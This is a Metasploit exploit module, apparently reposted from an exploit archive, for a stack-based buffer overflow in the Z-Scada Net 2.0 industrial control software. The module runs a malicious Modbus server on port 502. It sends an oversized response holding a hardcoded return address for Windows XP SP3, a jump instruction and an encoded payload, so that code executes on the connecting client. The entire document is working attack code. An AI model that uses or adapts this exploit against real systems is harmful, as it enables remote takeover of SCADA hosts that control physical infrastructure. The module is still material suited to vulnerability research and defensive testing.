ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow Exploit

require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::TcpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ZScada Net Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow found in
                Z-Scada Net 2.0.  The vulnerability is triggered when parsing
                the response to a Modbus packet.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN', 
                            {
                                # zscadanet.exe v1.0
                                # pop ecx/ pop ebp/ retn
                                'Ret' => 0x00429c35
                            } 
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Dec 11 2014'))
 
        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
            ], self.class)
    end
 
    def on_client_data(client)
        p = payload.encoded
 
        buf = pattern_create(5000)
        buf[574, 4] = [0x909006eb].pack('V')    # jmp $+8
        buf[578, 4] = [target.ret].pack('V')
        buf[582, 24] = "\x41" * 24
        buf[606, p.length] = p
 
        client.put(buf)
        handler
        service.close_client(client)
    end
 
end

#  0day.today [2018-01-06]  #